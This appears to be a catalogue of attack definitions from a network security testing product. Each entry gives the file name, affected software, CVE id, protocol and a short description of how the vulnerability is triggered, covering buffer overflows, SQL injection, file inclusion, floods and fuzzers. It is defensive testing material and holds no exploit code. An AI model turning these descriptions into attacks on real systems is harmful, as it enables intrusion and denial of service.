Executive Description:	KSign KSignSWAT <= 2.0.3.3 ActiveX Control Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the KSignSWAT ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2820
Threat Package:	Standard
Threat File Name:	TSL20120629-01_Apple_QuickTime_TeXML_Color_String_Parsing_Buffer_Overflow.xml
Executive Description:	Apple QuickTime TeXML Color String Parsing Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation of a string length when processing the color-related sub elements of a Style element, and color-related attributes of description, sampleData and karaoke elements inside QuickTime TeXML files. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted TeXML file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-0663
OSVDB:	81934
Threat File Name:	FSC20100810-07_Microsoft_Internet_Explorer_Uninitialized_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error when handling DOM objects that have not been initialized or have been deleted. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2557
Threat Package:	Standard
Threat File Name:	winzip_wzfileview_dos_IPv6.xml
Executive Description:	WinZip <= 10.0.7245 FileView ActiveX Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the Winzip "WZFILEVIEW.FileViewCtrl.61" ActiveX control when accessed by Internet Explorer, allows remote code execution on the client host. This affects Winzip ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6884
Threat Package:	Standard
Threat File Name:	gestart_rfi.xml
Executive Description:	GestArt beta 1 (aide.php aide) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. GestArt is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5612
Threat Package:	Standard
Threat File Name:	TSL20101012-05_Microsoft_Windows_Media_Player_Network_Sharing_Service_RTSP_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Media Player Network Sharing Service RTSP Code Execution IPv6 version.
Detailed Description:	A remote code execution vulnerability has been reported in the Microsoft Windows Media Player Network Sharing Service. The vulnerability is caused by an use after free when handling the RTSP request. An attacker can exploit this vulnerability by sending a malicious RTSP request to a vulnerable system. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. Tester should set variable \$destPort 554 before test.
Protocol Type:	RTSP.IPV6
CVEID:	CVE-2010-3225
Threat File Name:	TSL20111103-05_Microsoft_Windows_win32k_sys_TrueType_Font_Parsing_Kernel_Memory_Corruption.xml
Executive Description:	Microsoft Windows win32k.sys TrueType Font Parsing Kernel Memory Corruption
Detailed Description:	A memory corruption vulnerability has been identified in the Microsoft Windows kernel. The vulnerability is due to improper calculations and bounds checks when parsing a malicious font file. Malicious values within the font file can cause the vulnerable code to corrupt memory outside the allocated buffer. Remote attackers can exploit this vulnerability by enticing a user to open a crafted TrueType font file. If exploited successfully, an attacker can execute arbitrary code within the Windows kernel. This vulnerability is actively exploited by the Duqu malware.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3402
Threat File Name:	ftp_format_IPv6.xml
Executive Description:	FTP Format String Attack (IPv6 Version)
Detailed Description:	This generic threat sends a format string attack against an FTP server. A format string attack attempts to crash the service by causing the service to write to out of bounds memory by sending the format string %n%n%n. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20091120-06_Microsoft_Internet_Explorer_Style_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Style Object Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles CSS style objects. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. In the case of a successful attack, the behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3762
Threat Package:	Standard
Threat File Name:	mambo_joomla_dos.xml
Executive Description:	Mambo/Joomla DoS attack and
Detailed Description:	This threat sends a number of crafted urls which both enumerate paths as well as cause a general denial of service condition. Mambo/Joomla is a web based content management system which typically listens on port 80.
Protocol Type:	HTTP
OSVDB:	15945
Threat Package:	Standard
Threat File Name:	burncms_cmi_e.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities
Detailed Description:	This threat demonstrates a remote file inclusion flaw against postgres.class.php's root parameter. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	adobe_shockwave_activex_bof.xml
Executive Description:	Adobe Shockwave ShockwaveVersion() Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Adobe Shockwave ShockwaveVersion() ActiveX Object, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5275
Threat Package:	Standard
Threat File Name:	phpcommunitycalendar_xss_IPv6.xml
Executive Description:	phpCommunityCalendar 4.0.3 Cross Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing HTML to be included in the returned page via month.php's "LoName" parameter. phpCommunityCalendar is a web based application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2798
Threat Package:	Standard
Threat File Name:	FSC20070214-18_Microsoft_Word_Document_Stream_Handling_Code_Execution.xml
Executive Description:	Microsoft Word Document Stream Handling Code Execution
Detailed Description:	A stack buffer overflow vulnerability exists in the way Microsoft Word processes files. The vulnerability is a result of insufficient boundary checking while processing the WordDocument (or Main) stream. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0870
Threat Package:	Standard
Threat File Name:	TSL20150526-04_IBM_Tivoli_Storage_Manager_FastBack_Mount_vault_Stack_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Mount vault Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Mount. The vulnerability is due to improper bounds checking by the FastBackMount process. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests. Successful exploitation can result in arbitrary code execution within the security context of the System user. Tester should set the variable \$destPort to 30051 before test.
Protocol Type:	IBM TSM FastBack Mount
CVEID:	CVE-2015-1896
OSVDB:	120349
Threat File Name:	FSC20070814-05_Microsoft_Excel_Workspace_Index_Value_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel Workspace Index Value Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing an index value in a certain BIFF record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3890
Threat Package:	Standard
Threat File Name:	TSL20140211-05_Schneider_Electric_ClearSCADA_OPF_File_Parsing_Out_of_Bounds_Array_Indexing_IPv6.xml
Executive Description:	Schneider Electric ClearSCADA OPF File Parsing Out of Bounds Array Indexing(IPv6 version)
Detailed Description:	A code execution vulnerability has been reported in Schneider Electric ClearSCADA. The vulnerability is due improper validation of a length parameter that is used to index an array in the OPF File parsing component. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious file. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPv6
CVEID:	CVE-2014-0779
OSVDB:	103150

Threat File Name:	TSL20170104-06_LibVNCServer_LibVNCClient_FramebufferUpdate_Rectangle_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	LibVNCServer LibVNCClient FramebufferUpdate Rectangle Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow has been reported in LibVNCServer LibVNCClient. The vulnerability is due to improper handling of FramebufferUpdate messages with specially crafted rectangles. A remote attacker could exploit this vulnerability by enticing a user to connect to a malicious VNC server and sending a crafted FramebufferUpdate message to a vulnerable target client. Successful exploitation of this vulnerability could result in arbitrary code execution within the context of the application.
Protocol Type:	RFB, IPv6
CVEID:	CVE-2016-9941
Threat File Name:	sipvoicemailoff.xml
Executive Description:	SIP Voicemail Off Alert
Detailed Description:	This threat sends out a SIP message to a phone informing it that it has no voicemail. Sending this threat to a large number of phones at once can cause people to not notice their voicemail messages and overwhelm tech support.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	ZenCart_sqlcml.xml
Executive Description:	ZenCart SQL Injection Into Remote Command Execution
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server, this in turn allows inclusion of PHP code via the database; which allows subsequent arbitrary command execution. ZenCart is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3996
OSVDB:	21411
Threat File Name:	FSC20090114-20_Oracle_Secure_Backup_exec_qr_Command_Injection_IPv6.xml
Executive Description:	Oracle Secure Backup exec_qr Command Injection (IPv6 Version)
Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to PHP program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-5448
Threat Package:	Standard
Threat File Name:	ms05-029_owa.xml
Executive Description:	MS05-029 Exchange XSS Attack
Detailed Description:	This threat sends a cross site attack to an exchange server through the SMTP protocol. This then causes a XSS event to occur if the user views the email through Outlook Web Access (OWA). SMTP servers typically listen on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-0563
OSVDB:	17307
Threat Package:	Standard
Threat File Name:	TSL20100616-01_Samba_SMB1_Packets_Chaining_Memory_Corruption.xml
Executive Description:	Samba SMB1 Packets Chaining Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Samba. The vulnerability is due to improper validation when chaining SMB1 packets. Remote attackers could exploit this vulnerability by sending a crafted SMB message to a target SMB server. Successful exploitation would allow for arbitrary code injection and execution which might allow the attacker to take complete control of a target host. Code injection that does not result in execution could crash the target system, and result in a Denial of Service condition. Tester should set variable \$destPort to 445 before test.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2010-2063
OSVDB:	65518
Threat File Name:	poptop.xml
Executive Description:	PopTop Overflow Attack
Detailed Description:	This threat sends a PPTP packet which contains a length value of 1. This causes the allocation of too little memory, allowing an attacker to overwrite the stack pointer and execute code. The PopTop daemon typically listens on port 1723.
Protocol Type:	PPTP
CVEID:	CVE-2003-0213
OSVDB:	3293
Threat Package:	Standard
Threat File Name:	grandstream_invite_dos_IPv6.xml
Executive Description:	Grandstream Budge Tone-200 denial of service vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious INVITE message to a Grandstream Budge Tone-200 VoIP phone causing it to crash. Grandstream Budge Tone-200 Phone uses the SIP protocol and typically listens on udp port 5060. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2007-1590
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_WRQ_OCTET_formatn_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRQ_OCTET_formatn.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %n to octet with ranging sizes. OpCode is WRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20160922-08_Drupal_Core_system_temporary_Information_Disclosure.xml

Executive Description:	Drupal Core system.temporary Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Drupal Core. The vulnerability is due to insufficient access control on the ability to download a full configuration export via the system.temporary route. A remote, authenticated user can exploit this vulnerability by sending a crafted request to the target. Successful exploitation could result in the disclosure of sensitive information.
Protocol Type:	HTTP
CVEID:	CVE-2016-7572
Threat File Name:	zixforum_sqli_b_IPv6.xml
Executive Description:	Zix Forum 1.12 SQL Injection (login.asp) (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP URL containing an SQL statement which is executed by the server that extracts the username and password of administrator in clear text. Zix Forum is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2541
Threat Package:	Standard
Threat File Name:	zixforum_sqli_b.xml
Executive Description:	Zix Forum 1.12 SQL Injection (login.asp)
Detailed Description:	This threat sends a crafted HTTP URL containing an SQL statement which is executed by the server that extracts the username and password of administrator in clear text. Zix Forum is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2541
Threat Package:	Standard
Threat File Name:	TSL20120514-05_Adobe_Photoshop_Asset_Elements_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Photoshop Asset Elements Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Adobe Photoshop. The vulnerability is due to insufficient validation of Collada asset elements. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download a malicious file. This can lead to arbitrary code execution in the context of the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,SMB/CIFS
OSVDB:	81832
Threat File Name:	phpbb_mutant_rfi_IPv6.xml
Executive Description:	phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. phpBB Mutant is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080110-04_Microsoft_Rich_Textbox_Control_SaveFile_Insecure_Method_Arbitrary_File_Overwrite_IPv6.xml
Executive Description:	Microsoft Rich Textbox Control SaveFile Insecure Method Arbitrary File Overwrite (IPv6 Version)
Detailed Description:	There exists a file overwriting vulnerability in Microsoft Rich Textbox Control ActiveX control. The flaw is due to lack of path verification in the control's method SaveFile. A remote attacker may exploit this vulnerability via a specially crafted web page to create or modify arbitrary files on the target system. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2008-0237
Threat Package:	Standard
Threat File Name:	FSC20100126-01_Oracle_WebLogic_Server_Node_Manager_Command_Execution.xml
Executive Description:	Oracle WebLogic Server Node Manager Command Execution
Detailed Description:	A command execution vulnerability exists in Oracle WebLogic Server's Node Manager utility. The vulnerability is due to the fact that certain script execution functionality of the Node Manager utility can be accessed remotely without authentication. A remote unauthenticated attacker can leverage this vulnerability by sending a crafted message to the vulnerable process on port 5556/TCP. Successful exploitation could result in execution of arbitrary commands within the security context of the target process. The behaviour of the target is dependent on the intention of the malicious command.
Protocol Type:	Proprietary protocol over SSL
Threat Package:	Standard
Threat File Name:	ned_dir_IPv6.xml
Executive Description:	Nokia Electronic Documentation Directory Listing (IPv6 Version)
Detailed Description:	This threat lists the files contained in a directory on a Nokia Electronic Documentation server. It does this through a crafted HTTP request specifying . as the file to load. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0802
OSVDB:	3484
Threat Package:	Standard
Threat File Name:	TSL20110916-03_Microsoft_Office_Excel_Record_Out_of_Bounds_Index.xml
Executive Description:	Microsoft Office Excel Record Out of Bounds Index
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to insufficient bounds checking while parsing a certain value within a DataFormat record in an Excel file. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1990
Threat File Name:	FloodUDPservice.xml

Executive Description:	UDP Service Flood
Detailed Description:	A very basic form of attack that can easily cause a DoS on most equipment. Sends out UDP traffic from random traffic sources. The UDP flood can DoS in two ways: 1) Saturates the queue of a device with connectionless UDP traffic, preventing legitimate connection oriented traffic to pass through. 2) This threat allows the user to adjust the target IP and port, possibly causing a DoS on the targets service or host operating system.
Protocol Type:	UDP
CVEID:	CVE-2000-0522
OSVDB:	1393
Threat Package:	Standard
Threat File Name:	dlink_dp-300_httpd_crash.xml
Executive Description:	D-Link Print Server Long Post Request Denial Of Service Vulnerability D-Link Print Server Long Post Request Denial Of Service Vulnerability
Detailed Description:	This threat sends a excessively long POST command to a configuration page which crashes the HTTP server on the device. the D-Link httpd typically runs on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-1068
OSVDB:	9404
Threat File Name:	TSL20120214-15_Microsoft_Windows_C_Runtime_Library_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows C Runtime Library Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows. The vulnerability is due to improper calculation of the allocation size for the heap memory buffer. This vulnerability can be exploited while processing certain crafted media files. A remote attacker can exploit this vulnerability by enticing a target user to open a specially crafted file with applications and programs that use C and C++ run-time library msvcrt.dll. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0150
Threat File Name:	ms03-046_IPv6.xml
Executive Description:	Microsoft Exchange Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends a large amount of data to an Exchange specific command, causing consumption of resources. Exchange is a mailserver, and this particular attack is aimed at the SMTP service of exchange, which typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2003-0714
OSVDB:	2674
Threat Package:	Standard
Threat File Name:	FSC20090310-04_IBM_Director_CIM_Server_Consumer_Name_Handling_Denial_of_Service_IPv6.xml
Executive Description:	IBM Director CIM Server Consumer Name Handling Denial of Service (IPv6 Version)
Detailed Description:	A design weakness exists in the CIM Server of IBM Director. The vulnerability is due to errors when processing certain types of requests. A remote attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would be a denial of service (DoS) condition of System Director services on the target host. In a successful attack case, the affected server will terminate and will not be available until the service is manually restarted. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2009-0879
Threat Package:	Standard
Threat File Name:	ms05-017_IPv6.xml
Executive Description:	MS05-017 Exploit Microsoft Message Queuing (IPv6 Version)
Detailed Description:	This threat exploits a flaw in Microsoft Message Queuing, which leads to a buffer overflow. Microsoft Message Queuing listens on ports 2103, 2105, and 2107. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-0059
OSVDB:	15458
Threat Package:	Standard
Threat File Name:	samiftp_bof_b.xml
Executive Description:	Sami FTP Server 2.0.2 USER/PASS buffer overflow Vulnerability
Detailed Description:	This threat crashes vulnerable Sami FTP Servers when an excessively large USER and PASS string issued from a client. Sami FTP Server is an ftp server that typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-2212
OSVDB:	25670
Threat Package:	Standard
Threat File Name:	snitz_forums2000_sqli_IPv6.xml
Executive Description:	Snitz Forums 2000 Version 3.1 SR4 (pop_profile.asp) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Snitz Forums 2000 is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131008-10_Microsoft_Silverlight_WriteableBitmap_SetSource_Information_Disclosure.xml
Executive Description:	Microsoft Silverlight WriteableBitmap SetSource Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Microsoft Silverlight. The vulnerability exists in the SetSource() method of the WriteableBitmap class from System.Windows.dll. By enticing a user to visit a website, an attacker can exploit this vulnerability to disclose sensitive memory information on the target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3896

Threat File Name:	FSC20100804-11_Adobe_Acrobat_and_Reader_Font_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat and Reader Font Parsing Integer Overflow (IPv6 Version)
Detailed Description:	<p>A code execution vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to an integer overflow error within the CoolType.dll module when handling a PDF document containing a TrueType Font (TTF) with a maliciously crafted "maxCompositePoints" field in a "maxp" table. Remote attackers could exploit this vulnerability by enticing target users to open a malicious PDF document.</p> <p>Successful exploitation would result in arbitrary code execution in the context of the logged on user.</p>
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2010-2862
Threat Package:	Standard
Threat File Name:	TSL20131210-30_Microsoft_Internet_Explorer_CVE-2013-5052_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-5052 Use After Free(IPv6 Version)
Detailed Description:	<p>A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to errors while handling certain objects when processing HTML and script code. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to access a maliciously crafted website. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.</p>
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-5052
OSVDB:	100756
Threat File Name:	fuzz-HTTP_AppendformatsToHEAD_IPv6.xml
Executive Description:	Fuzz HTTP HEAD appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending by %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	urgentInjection.xml
Executive Description:	TCP Injection With Urgent Pointer
Detailed Description:	<p>This threat attempts to inject data into an existing TCP stream. It uses increasing sequence numbers combined with the urgent pointer to increase the probability of success. The payload that is injected is 4 ASCII A's. The user must know the source port, destination port, source IP, and destination IP in order to successfully inject the data.</p>
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	ICMPEchoAmp_IPv6.xml
Executive Description:	ICMP Echo Amplification (IPv6 Version)
Detailed Description:	<p>This threat targets pings with a spoofed IP to a broadcast address, causing an amplified response to the target (spoofed) IP. (IPv6 Version)</p>
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-0513
OSVDB:	916
Threat Package:	Standard
Threat File Name:	sipcontacturiparam.xml
Executive Description:	SIPPING: URI Parameter
Detailed Description:	<p>This threat sends out a SIP REGISTER message with an unknown parameter in the Contact: URI value. This is allowed but unexpected and may confuse or crash a SIP implementation.</p>
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	fuzz-TFTP_ErrorCode_Message_formatn_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_ErrorCode_Message_formatn.xml (IPv6 Version)
Detailed Description:	<p>Fuzzes ErrorNullTerm field by appending "%n" to the ErrorMessage with ranging sizes. OpCode is 05 (IPv6 Version)</p>
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20090323-09_HP_OpenView_Network_Node_Manager_OvOSLocale_Parameter_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager OvOSLocale Parameter Buffer Overflow
Detailed Description:	<p>A buffer overflow vulnerability exists in HP OpenView Network Node Manager software. The vulnerability is due to a boundary error while processing specially crafted HTTP requests sent to the server. Remote attackers could exploit this vulnerability to inject and execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, the affected process will terminate abnormally.</p>
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0920
Threat Package:	Standard
Threat File Name:	ms03-020.xml
Executive Description:	MS03-020 Buffer Overflow in Object Type
Detailed Description:	<p>This threat causes a buffer overflow in Internet Explorer, allowing a malicious website to execute code. This is caused by a flaw in the Object tag. This threat is a client attack that comes from the virtual server.</p>
Protocol Type:	HTTP
CVEID:	CVE-2003-0344
OSVDB:	2967
Threat Package:	Standard
Threat File Name:	FSC20110412-01_Microsoft_Office_Excel_RealTimeData_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel RealTimeData Record Memory Corruption

Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel 2002. The vulnerability is due to the way the vulnerable product parses RealTimeData records in Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0101
Threat File Name:	winproxy_dos.xml
Executive Description:	Blue Coat Systems WinProxy Remote Denial Of Service Vulnerability
Detailed Description:	This threat uses a large HTTP GET request thereby crashing the WinProxy service. WinProxy is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3187
Threat Package:	Standard
Threat File Name:	TSL20121009-08_Microsoft_Office_Word_RTF_File_listid_Memory_Corruption.xml
Executive Description:	Microsoft Office Word RTF File listid Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Word. The vulnerability is due to a use-after-free error when parsing a crafted listid inside an RTF file. By enticing a target user to open a specially crafted RTF file, an attacker can exploit this vulnerability to execute arbitrary code in the security context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2528
OSVDB:	86055
Threat File Name:	AppleTerminalURI_IPv6.xml
Executive Description:	Apple Safari Terminal Execution (IPv6 Version)
Detailed Description:	This threat allows a malicious web page to execute commands with the permissions of a user using Mac OS X. This is performed by specifying terminal escape codes in the URL that then launches a terminal application. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1342
OSVDB:	16084
Threat Package:	Standard
Threat File Name:	TSL20160428-08_HPE_Data_Protector_EXEC_BAR_domain_Buffer_Overflow.xml
Executive Description:	HPE Data Protector EXEC_BAR domain Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been found in the Omnilnet.exe component of HPE Data Protector. This vulnerability is due to lack of boundary checks on the domain field in EXEC_BAR requests. A remote, unauthenticated attacker could exploit this vulnerability by sending malformed requests to a HPE Data Protector service. Successful exploitation could lead to arbitrary code execution under the context of System.
Protocol Type:	HP Data Protector OmniInet Protocol
CVEID:	CVE-2016-2006
Threat File Name:	sitedepth_dirtransversal.xml
Executive Description:	SiteDepth CMS 3.44 (ShowImage.php name) File Disclosure Vulnerability
Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. SiteDepth CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3404
Threat Package:	Standard
Threat File Name:	TSL20150612-04_OpenSSL_Elliptic_Curve_Binary_Polynomial_Field_Resource_Exhaustion_IPv6.xml
Executive Description:	OpenSSL Elliptic Curve Binary Polynomial Field Resource Exhaustion IPv6 version
Detailed Description:	A resource exhaustion vulnerability exists in OpenSSL. The vulnerability is due to a missing validity check of Elliptic Curve parameters within BN_GF2m_mod_inv(). A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted certificate to a vulnerable OpenSSL client or server application. Successful exploitation will cause the application to enter an infinite loop causing it to consume all CPU resources, resulting in a denial-of-service condition. Tester should set variable \$destPort to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS.IPv6
CVEID:	CVE-2015-1788
Threat File Name:	fuzz-SMTP-HELO_Parameter_question_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with ? (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with ? from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	ms05-038_mov_fencepost_IPv6.xml
Executive Description:	Internet Explorer JPEG Image Corruption mov_fencepost (IPv6 Version)
Detailed Description:	This threat causes a crash in Internet Explorer. It is caused by the downloading of a malformed JPEG image from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	ipv6_syn_localhost_IPv6.xml
Executive Description:	IPv6 SYN localhost (IPv6 Version)

Detailed Description:	This threat sends a TCP SYN packet with a source IPv6 Address of 0:0:0:0:0:0:1 (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060322-08_Microsoft_Internet_Explorer_createTextRange_Code_Execution_IPv6.xml
Executive Description:	Microsoft Internet Explorer createTextRange Code Execution (IPv6 Version)
